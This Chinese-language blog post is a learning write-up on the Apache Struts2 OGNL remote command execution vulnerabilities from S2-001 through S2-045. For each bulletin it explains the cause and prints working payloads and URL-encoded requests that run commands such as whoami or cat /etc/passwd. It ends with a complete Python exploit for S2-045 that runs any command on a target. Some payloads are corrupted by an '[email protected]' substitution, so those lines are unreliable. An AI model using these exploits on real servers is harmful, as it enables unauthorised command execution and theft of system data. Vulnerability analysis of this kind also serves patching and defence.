一直都想分析下 Struts2 命令执行系列的的漏洞,但是能力有限,对 java、Struts2 都不熟悉。后来偶然看到 rickgray 的分析文章,尝试简单分析,做个记录 o(╯□╰)o
这是 Struts2 官方的各个版本历史记录 Security Bulletins
Struts2 命令执行的原因都是是通过 Ognl 表达式执行 java 代码,最终实现命令执行。所以应该需要先了解 ognl 表达式。

ongl 表达式

下面引用来自 OGNL 设计及使用不当造成的远程代码执行漏洞

OGNL 是 Object-Graph Navigation Language 的缩写,它是一种功能强大的表达式语言(Expression
Language,简称为 EL),通过它简单一致的表达式语法,可以存取对象的任意属性,调用对象的方法,遍历整个对象的结构图,实现字段类型转化等功能。它使用相同的表达式去存取对象的属性。
OGNL 三要素:(以下部分摘抄互联网某处, 我觉得说得好)

  1. 表达式(Expression)

表达式是整个 OGNL 的核心,所有的 OGNL 操作都是针对表达式的解析后进行的。表达式会规定此次 OGNL 操作到底要干什么。我们可以看到,在上面的测试中,name、department.name 等都是表达式,表示取 name 或者 department 中的 name 的值。OGNL 支持很多类型的表达式,之后我们会看到更多。

  1. 根对象(Root Object)

根对象可以理解为 OGNL 的操作对象。在表达式规定了 “干什么” 以后,你还需要指定到底“对谁干”。在上面的测试代码中,user 就是根对象。这就意味着,我们需要对 user 这个对象去取 name 这个属性的值(对 user 这个对象去设置其中的 department 中的 name 属性值)。

  1. 上下文环境(Context)

有了表达式和根对象,我们实际上已经可以使用 OGNL 的基本功能。例如,根据表达式对根对象进行取值或者设值工作。不过实际上,在 OGNL 的内部,所有的操作都会在一个特定的环境中运行,这个环境就是 OGNL 的上下文环境(Context)。说得再明白一些,就是这个上下文环境(Context),将规定 OGNL 的操作 “在哪里干”。
OGN L 的上下文环境是一个 Map 结构,称之为 OgnlContext。上面我们提到的根对象(Root
Object),事实上也会被加入到上下文环境中去,并且这将作为一个特殊的变量进行处理,具体就表现为针对根对象(Root
Object)的存取操作的表达式是不需要增加 #符号进行区分的。

表达式功能操作清单:

  1. 1. 基本对象树的访问
  2. 对象树的访问就是通过使用点号将对象的引用串联起来进行。
  3. 例如:xxxxxxxx.xxxxxxxx. xxxx. xxxx. xxxx. xxxx
  4. 2. 对容器变量的访问
  5. 对容器变量的访问,通过#符号加上表达式进行。
  6. 例如:#xxxx,#xxxx. xxxx,#xxxx.xxxxx. xxxx. xxxx. xxxx
  7. 3. 使用操作符号
  8. OGNL表达式中能使用的操作符基本跟Java里的操作符一样,除了能使用 +, -, *, /, ++, --, ==, !=, = 等操作符之外,还能使用 mod, in, not in等。
  9. 4. 容器、数组、对象
  10. OGNL支持对数组和ArrayList等容器的顺序访问:例如:group.users[0]
  11. 同时,OGNL支持对Map的按键值查找:
  12. 例如:#session['mySessionPropKey']
  13. 不仅如此,OGNL还支持容器的构造的表达式:
  14. 例如:{"green", "red", "blue"}构造一个List,#{"key1" : "value1", "key2" : "value2", "key3" : "value3"}构造一个Map
  15. 你也可以通过任意类对象的构造函数进行对象新建:
  16. 例如:new Java.net.URL("xxxxxx/")
  17. 5. 对静态方法或变量的访问
  18. 要引用类的静态方法和字段,他们的表达方式是一样的@class@member或者@class@method(args):
  19. 例如:@com.javaeye.core.Resource@ENABLE@com.javaeye.core.Resource@getAllResources
  20. 6. 方法调用
  21. 直接通过类似Java的方法调用方式进行,你甚至可以传递参数:
  22. 例如:user.getName(),group.users.size(),group.containsUser(#requestUser)
  23. 7. 投影和选择
  24. OGNL支持类似数据库中的投影(projection 和选择(selection)。
  25. 投影就是选出集合中每个元素的相同属性组成新的集合,类似于关系数据库的字段操作。投影操作语法为 collection.{XXX},其中XXX 是这个集合中每个元素的公共属性。
  26. 例如:group.userList.{username}将获得某个group中的所有username的列表。
  27. 选择就是过滤满足selection 条件的集合元素,类似于关系数据库的纪录操作。选择操作的语法为:collection.{X YYY},其中X 是一个选择操作符,后面则是选择用的逻辑表达式。而选择操作符有三种:
  28. ? 选择满足条件的所有元素
  29. ^ 选择满足条件的第一个元素
  30. $ 选择满足条件的最后一个元素
  31. 例如:group.userList.{? #txxx.xxx != null}将获得某个group中user的name不为空的user的列表。

所以理论上外部某些参数能够进入 OGNL 流程,那么可以执行恶意代码,而且 Struts2 大量地使用了 OGNL,导致漏洞触发率大大增加。

触发途径

通过对一系列的 struts2 的 poc 观察,一般是通过修改 StaticMethodAccess 或是创建 ProcessBuilder 对象。

  1. #_memberAccess["allowStaticMethodAccess"]=true // 用来授权允许调用静态方法
  2. new java.lang.ProcessBuilder(new java.lang.String[]{'cat','/etc/passwd'})).start()

但 struts2 加强了 ognl 的验证,allowStaticMethodAccess 已经变成的 final 属性,但是任然有方法可以绕过。

s2-001

官方链接:https://struts.apache.org/docs/s2-001.html

影响版本:Struts 2.0.0 -Struts 2.0.8

修复摘要:数据 re-display 时禁止执行 OGNL 表达式

该漏洞其实是因为用户提交表单数据并且验证失败时,后端会将用户之前提交的参数值使用 OGNL 表达式 %{value}
进行解析,然后重新填充到对应的表单数据中。例如注册或登录页面,提交失败后端一般会默认返回之前提交的数据,由于后端使用 %{value} 对提交的数据执行了一次 OGNL 表达式解析。

Poc:
获取 tomcat 执行路径:

  1. %{"tomcatBinDir{"+@java.lang.System@getProperty("user.dir")+"}"}

获取 Web 路径:

  1. %{#req=@org.apache.struts2.ServletActionContext@getRequest(),#response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#response.println(#req.getRealPath('/')),#response.flush(),#response.close()}

命令执行:

  1. %{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"whoami"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}

s2-007

官方链接:https://struts.apache.org/docs/s2-007.html

影响版本:Struts 2.0.0 - Struts 2.2.3

修复摘要:在转换的过程中进行字符过滤

修复补丁:https://fisheye6.atlassian.com/changelog/struts?cs=b4265d369dc29d57a9f2846a85b26598e83f3892

当配置了验证规则 -validation.xml
时,若类型验证转换出错,后端默认会将用户提交的表单值通过字符串拼接,然后执行一次 OGNL 表达式解析并返回。例如这里有一个
UserAction:

  1. (...)
  2. public class UserAction extends ActionSupport {
  3. private Integer age;
  4. private String name;
  5. private String email;
  6. (...)

然后配置有 UserAction-validation.xml:

  1. <?xml version="1.0" encoding="UTF-8" ?>
  2. <!DOCTYPE validators PUBLIC
  3. "-//OpenSymphony Group//XWork Validator 1.0//EN"
  4. "http://www.opensymphony.com/xwork/xwork-validator-1.0.2.dtd">
  5. <validators>
  6. <field name="age">
  7. <field-validator type="int">
  8. <param name="min">1</param>
  9. <param name="max">150</param>
  10. </field-validator>
  11. </field>
  12. </validators>

当用户提交 age 为字符串而非整形数值时,后端用代码拼接 "'"+ value +"'" 然后对其进行 OGNL
表达式解析。要成功利用,只需要找到一个配置了类似验证规则的表单字段使之转换出错,借助类似 SQLi 注入单引号拼接的方式即可注入任意
OGNL 表达式。

Poc:

  1. ' + (#_memberAccess["allowStaticMethodAccess"]=true,#foo=new java.lang.Boolean("false") ,#context["xwork.MethodAccessor.denyMethodExecution"]=#foo,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('whoami').getInputStream())) + '

s2-008

官方链接:https://struts.apache.org/docs/s2-008.html

影响版本:Struts 2.1.0 - Struts 2.3.1

修复摘要:添加参数名和 Cookie 名白名单 acceptedParamNames = “[a-zA-Z0-9.][()_’]+”;

S2-008 涉及多个漏洞,Cookie 拦截器错误配置可造成 OGNL 表达式执行,但是由于大多 Web 容器(如 Tomcat)对
Cookie 名称都有字符限制,一些关键字符无法使用使得这个点显得比较鸡肋。另一个比较鸡肋的点就是在 struts2 应用开启
devMode 模式后会有多个调试接口能够直接查看对象信息或直接执行命令,正如 kxlzx
所提这种情况在生产环境中几乎不可能存在,因此就变得很鸡肋的,但我认为也不是绝对的,万一被黑了专门丢了一个开启了 debug
模式的应用到服务器上作为后门也是有可能的。

例如在 devMode 模式下直接添加参数 ?debug=command&expression= 会直接执行后面的
OGNL 表达式,因此可以直接执行命令(注意转义):

Poc:

  1. http://localhost:8080/S2-008/devmode.action?debug=command&expression=(%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23foo%3Dnew%20java.lang.Boolean%28%22false%22%29%20%2C%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3D%23foo%[email protected]@toString%[email protected]@getRuntime%28%29.exec%28%27whoami%27%29.getInputStream%28%29%29)

s2-012

官方链接:https://struts.apache.org/docs/s2-012.html

影响版本:Struts 2.0.0 - Struts 2。3.13

修复摘要:默认禁用 OGNLUtil 类的 OGNL 表达式执行

如果在配置 Action 中 Result 时使用了重定向类型,并且还使用 ${param_name} 作为重定向变量,例如:

/index.jsp?name=${name}
/index.jsp /index.jsp 这里
UserAction 中定义有一个 name 变量,当触发 redirect 类型返回时,Struts2 获取使用 ${name}
获取其值,在这个过程中会对 name 参数的值执行 OGNL 表达式解析,从而可以插入任意 OGNL 表达式导致命令执行

Poc:

  1. %{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"cat", "/etc/passwd"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}

s2-013/s2-014

官方链接:https://struts.apache.org/docs/s2-013.html,
https://struts.apache.org/docs/s2-014.html

影响版本:Struts 2.0.0 - Struts 2.3.14 (Struts 2.3.14.1)

修复摘要:在对标签进行请求参数操作时禁用 OGNL 表达式解析 Struts2 标签中 <s:a> 和 <s:url> 都包含一个
includeParams 属性,其值可设置为 none,get 或 all,参考官方其对应意义如下:

none - 链接不包含请求的任意参数值(默认) get - 链接只包含 GET 请求中的参数和其值 all - 链接包含 GET 和
POST 所有参数和其值 若设置了 includeParams="get" 或者
includeParams="all",在获取对应类型参数时后端会对参数值进行 OGNL 表达式解析,因此可以插入任意 OGNL
表达式导致命令执行

Poc:

  1. ${(#_memberAccess["allowStaticMethodAccess"]=true,#a=@java.lang.Runtime@getRuntime().exec('whoami').getInputStream(),#b=new
  2. java.io.InputStreamReader(#a),#c=new java.io.BufferedReader(#b),#d=new
  3. char[50000],#c.read(#d),#out=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),#out.println(#d),#out.close())}
  4. // 或
  5. ${#_memberAccess["allowStaticMethodAccess"]=true,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('whoami').getInputStream())}

如:

  1. http://localhost:8080/S2-013/link.action?a=%24%7B%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%3D%40java.lang.Runtime%40getRuntime().exec('whoami').getInputStream()%2C%23b%3Dnew%20java.io.InputStreamReader(%23a)%2C%23c%3Dnew%20java.io.BufferedReader(%23b)%2C%23d%3Dnew%20char%5B50000%5D%2C%23c.read(%23d)%2C%23out%3D%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2C%23out.println('dbapp%3D'%2Bnew%20java.lang.String(%23d))%2C%23out.close()%7D

S2-014 是对 S2-013 修复的加强,在 S2-013 修复的代码中忽略了 ${ognl_exp} OGNL 表达式执行的方式,因此
S2-014 是对其的补丁加强。

  1. http://localhost:8080/S2-013/link.action?xxxx=%24%7B%28%23context%5B%27xwork.MethodAccessor.denyMethodExecution%27%5D%3Dfalse%29%28%23_memberAccess%5B%27allowStaticMethodAccess%27%5D%3Dtrue%29%[email protected]@getRuntime%28%29.exec%28%22open%20%2fApplications%2fCalculator.app%22%29%29%7D

s2-015

官方链接:https://struts.apache.org/docs/s2-015.html

影响版本:Struts 2.0.0 - Struts 2.3.14.2

修复摘要:针对 Action 名称进行默认字符限制 [a-z][A-Z][0-9][.-_!/] 漏洞产生于配置了 Action 通配符
*,并将其作为动态值时,解析时会将其内容执行 OGNL 表达式,例如:

/{1}.jsp
上述配置能让我们访问 name.action 时使用 name.jsp
来渲染页面,但是在提取 name 并解析时,对其执行了 OGNL 表达式解析,所以导致命令执行。在实践复现的时候发现,由于 name
值的位置比较特殊,一些特殊的字符如 / " 
都无法使用(转义也不行),所以在利用该点进行远程命令执行时一些带有路径的命令可能无法执行成功。

还有需要说明的就是在 Struts 2.3.14.1 - Struts 2.3.14.2 的更新内容中,删除了
SecurityMemberAccess 类中的 setAllowStaticMethodAccess 方法,因此在 2.3.14.2
版本以后都不能直接通过 #_memberAccess['allowStaticMethodAccess']=true
来修改其值达到重获静态方法调用的能力。

这里为了到达执行命令的目的可以用 kxlzx 提到的调用动态方法 (new
java.lang.ProcessBuilder('calc')).start() 来解决,另外还可以借助 Java 反射机制去间> 接修改:
#context['xwork.MethodAccessor.denyMethodExecution']=false,#m=#_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess'),#m.setAccessible(true),#m.set(#_memberAccess,true)

Poc:

  1. http://localhost:8080/S2-015/${%23context['xwork.MethodAccessor.denyMethodExecution']=false,%23f=%23_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess'),%23f.setAccessible(true),%23f.set(%23_memberAccess,true),@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('whoami').getInputStream())}.action

s2-16

官方链接:https://struts.apache.org/docs/s2-016.html

影响版本:Struts 2.0.0 - Struts 2.3.15

修复摘要:删除 “action:”,”redirect:”,”redirectAction:” 这些前置前缀调用
DefaultActionMapper 类支持以 action:,redirect: 和 redirectAction:
作为访问前缀,前缀后面可以跟 OGNL 表达式,由于 Struts2 未对其进行过滤,导致任意 Action 可以使用这些前缀执行任意
OGNL 表达式,从而导致任意命令执行,经测试发现 redirect: 和 redirectAction:
这两个前缀比较好容易构造出命令执行的 Payload(转义后)

Poc:

  1. http://localhost:8080/S2-016/default.action?redirect:%24%7B%23context%5B%27xwork.MethodAccessor.denyMethodExecution%27%5D%3Dfalse%2C%23f%3D%23_memberAccess.getClass%28%29.getDeclaredField%28%27allowStaticMethodAccess%27%29%2C%23f.setAccessible%28true%29%2C%23f.set%28%23_memberAccess%2Ctrue%29%[email protected]@toString%[email protected]@getRuntime%28%29.exec%28%27whoami%27%29.getInputStream%28%29%29%7D

s2-019

官方链接:http://struts.apache.org/docs/s2-019.html

影响版本: Struts 2.0.0 - Struts 2.3.15.1

因为开启了开发者模式,传入 debug=command&expression = 导致执行 OGNL 表达式,从而造成命令执行漏洞。

Poc:
获取 web 目录:

  1. http://localhost:8080/S2-019/example/HelloWorld.action?debug=command&expression=%23a%3D%28new%20java.lang.ProcessBuilder%28%27whoami%27%29%29.start%28%29%2C%23b%3D%23a.getInputStream%28%29%2C%23c%3Dnew%20java.io.InputStreamReader%28%23b%29%2C%23d%3Dnew%20java.io.BufferedReader%28%23c%29%2C%23e%3Dnew%20char%5B50000%5D%2C%23d.read%28%23e%29%2C%23out%3D%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27%29%2C%23out.getWriter%28%29.println%28%27dbapp%3A%27%2bnew%20java.lang.String%28%23e%29%29%2C%23out.getWriter%28%29.flush%28%29%2C%23out.getWriter%28%29.close%28%29%0A

s2-029

官方链接:https://struts.apache.org/docs/s2-029.html

影响版本:Struts 2.0.0 - Struts 2.3.16

修复摘要:限制传入标签属性的值,对其进行合规的正则验证 简单的说就是当开发者在模版中使用了类似如下的标签写法时,后端 Struts2
处理时会导致二次 OGNL 表达式执行的情况:

<s:textfield name="%{message}"></s:textfield> 这里需要注意的是,仅当只有 name
属性这样写的情况下才能触发 OGNL 表达式执行,并且该标签中不能显示写有 value
属性。详细分析可参考天融信阿尔法实验室的张萌所写的《struts2 漏洞 s2-029 分析》

到 S2-029 这里是,Struts2 已经增加了相当多的安全检测了,所以想要直接执行命令还需要通
过修改这些安全参数来绕过最后的执行检测,具体的安全参数版本差异同样可参考上面的详细分析文章。

Poc:

  1. http://localhost:8080/S2-029/default.action?message=(%23_memberAccess['allowPrivateAccess']=true,%23_memberAccess['allowProtectedAccess']=true,%23_memberAccess['excludedPackageNamePatterns']=%23_memberAccess['acceptProperties'],%23_memberAccess['excludedClasses']=%23_memberAccess['acceptProperties'],%23_memberAccess['allowPackageProtectedAccess']=true,%23_memberAccess['allowStaticMethodAccess']=true,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('whoami').getInputStream()))

s2-032

官方链接:https://struts.apache.org/docs/s2-032.html

影响版本:Struts 2.3.20 - Struts 2.3.28 (except 2.3.20.3 and 2.3.24.3)

修复摘要:过滤通过 method: 传入的 action 名称,限制其字符范围 protected Pattern
allowedActionNames = Pattern.compile(“[a-zA-Z0-9._!/-]*”); 在配置了
Struts2 DMI 为 True 的情况下,可以使用 method: Action 前缀去调用声明为 public
的函数,DMI 的相关使用方法可参考官方介绍(Dynamic Method Invocation),这个 DMI
的调用特性其实一直存在,只不过在低版本中 Strtus2 不会对 name 方法值做 OGNL
计算,而在高版本中会,代码详情可参考阿尔法实验室的报告 - 《Apache Struts2 s2-032 技术分析及漏洞检测脚本》

要成功利用必须要开 DMI 才可以:


找到目标应用有效的 Action 例如 index.action,那么直接使用 DMI 在 method: 后面带上需要执行 OGNL 表达式即可(注意转义)

Poc:
获取 web 目录:

  1. http://localhost:8080/S2-032/index.action?method:%23_memberAccess%[email protected]@DEFAULT_MEMBER_ACCESS,%23req%3d%40org.apache.struts2.ServletActionContext%40getRequest(),%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse(),%23res.setCharacterEncoding(%23parameters.encoding[0]),%23path%3d%23req.getRealPath(%23parameters.pp[0]),%23w%3d%23res.getWriter(),%23w.print(%23parameters.web[0]),%23w.print(%23parameters.path[0]),%23w.print(%23path),1?%23xx:%23request.toString&pp=%2f&encoding=UTF-8&web=web&path=path%3a

命令执行:

  1. http://localhost:8080/S2-032/index.action?method:%23_memberAccess%[email protected]@DEFAULT_MEMBER_ACCESS,%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse(),%23res.setCharacterEncoding(%23parameters.encoding%5B0%5D),%23w%3d%23res.getWriter(),%23s%3dnew+java.util.Scanner(@java.lang.Runtime@getRuntime().exec(%23parameters.cmd%5B0%5D).getInputStream()).useDelimiter(%23parameters.pp%5B0%5D),%23str%3d%23s.hasNext()%3f%23s.next()%3a%23parameters.ppp%5B0%5D,%23w.print(%23str),%23w.close(),1?%23xx:%23request.toString&pp=%5C%5CA&ppp=%20&encoding=UTF-8&cmd=whoami

s2-devMode

影响:Struts 2.1.0--2.5.1

当 Struts2 开启 devMode 模式时,将导致严重远程代码执行漏洞。如果 WebService 启动权限为最高权限时,可远程执行任意命令,包括关机、建立新用户、以及删除服务器上所有文件等等。

Poc:

  1. http://localhost:8080/S2-devMode/orders/3/?debug=browser&object=(%[email protected]@DEFAULT_MEMBER_ACCESS)%3f(%23context[%23parameters.rpsobj[0]].getWriter().println(@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(%23parameters.command[0]).getInputStream()))):xx.toString.json&rpsobj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&content=123456789&command=netstat -ano

S2-045

官方链接:http://struts.apache.org/docs/s2-045.html

影响版本:Struts 2.3.5 - Struts 2.3.31, Struts 2.5 - Struts 2.5.10

通过 Content-Type 这个 header 头,注入 OGNL 语言,进而执行命令。

Poc:

  1. #!/usr/bin/python
  2. # -*- coding: utf-8 -*-
  3. import urllib2
  4. import httplib
  5. def exploit(url, cmd):
  6. payload = "%{(#_='multipart/form-data')."
  7. payload += "(#[email protected]@DEFAULT_MEMBER_ACCESS)."
  8. payload += "(#_memberAccess?"
  9. payload += "(#_memberAccess=#dm):"
  10. payload += "((#container=#context['com.opensymphony.xwork2.ActionContext.container'])."
  11. payload += "(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))."
  12. payload += "(#ognlUtil.getExcludedPackageNames().clear())."
  13. payload += "(#ognlUtil.getExcludedClasses().clear())."
  14. payload += "(#context.setMemberAccess(#dm))))."
  15. payload += "(#cmd='%s')." % cmd
  16. payload += "(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win')))."
  17. payload += "(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd}))."
  18. payload += "(#p=new java.lang.ProcessBuilder(#cmds))."
  19. payload += "(#p.redirectErrorStream(true)).(#process=#p.start())."
  20. payload += "(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()))."
  21. payload += "(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros))."
  22. payload += "(#ros.flush())}"
  23. try:
  24. headers = {'User-Agent': 'Mozilla/5.0', 'Content-Type': payload}
  25. request = urllib2.Request(url, headers=headers)
  26. page = urllib2.urlopen(request).read()
  27. except httplib.IncompleteRead, e:
  28. page = e.partial
  29. print(page)
  30. return page
  31. if __name__ == '__main__':
  32. import sys
  33. if len(sys.argv) != 3:
  34. print("[*] struts2_S2-045.py <url> <cmd>")
  35. else:
  36. print('[*] CVE: 2017-5638 - Apache Struts2 S2-045')
  37. url = sys.argv[1]
  38. cmd = sys.argv[2]
  39. print("[*] cmd: %s\n" % cmd)
  40. exploit(url, cmd)

参考

  1. Struts2 历史 RCE 漏洞回顾不完全系列
  2. Struts2 命令执行集合
  3. vulhub
  4. VulApps